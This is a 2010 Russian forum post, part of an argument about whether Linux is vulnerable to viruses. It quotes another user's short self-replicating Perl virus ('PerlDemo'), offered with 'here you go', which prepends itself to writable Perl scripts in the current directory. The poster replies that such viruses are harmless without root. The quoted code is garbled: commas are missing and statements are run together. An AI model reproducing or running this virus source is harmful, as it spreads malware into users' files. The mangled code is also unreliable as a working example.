Показать сообщение отдельно
Старый 20.12.2010, 18:32   #32
ingko
Мерцающий
 
Аватар для ingko
 
Регистрация: 18.04.2006
Сообщений: 5,838
Написано 1,519 полезных сообщений
(для 3,030 пользователей)
Ответ: В Ставропольском крае государственные учреждения будут переведены на СПО

Сообщение от Randomize Посмотреть сообщение
#!/usr/bin/perl #PerlDemo

open(File,$0); @Virus=<File>; @Virus=@Virus[0...6]; close(File);

foreach 
$FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {

open(File"$FileName"); @Temp=<File>; close(File); if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))

{ if ((@
Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File">$FileName"); print File @Virus;

print 
File @Tempclose (File); } } } } 
Держи! Это простейший. Обилие скриптов bash, perl, php и тд делают юникс настоящим раем для вирусов. Причём такие вирусы может написать даже школьник. А ежели из под рута сидишь дак в обще разгуляево.
И как энто запустить? У меня пёрла на машине никогда не было. Только питон. И из под рута в линуксе??? Дык, там парой sudo не работает, а уж войти в систему под рутом - это надо долго извращаться руками!

На баше вообще не написать вирус. Поскольку оный запускается всегда из сессии юзера... А "ПеХеПе" тут вообще не причем! Это же не веб-сервер

И твой пример можно только запустить руками, да и с правами рута, что в принципе, не возможно обычному юзеру.

Да и вреда от таких "вирусов" - ноль. Машину они заражают только из под сессии юзера. Стоит сессию остановить (даже не перезагружая машину), и всё
__________________
Относись к человеку как к себе, иначе...
---
ДАННЫЕ:
qiwi 9150424059
Яндекс-деньги: 410012612648498
(Offline)
 
Ответить с цитированием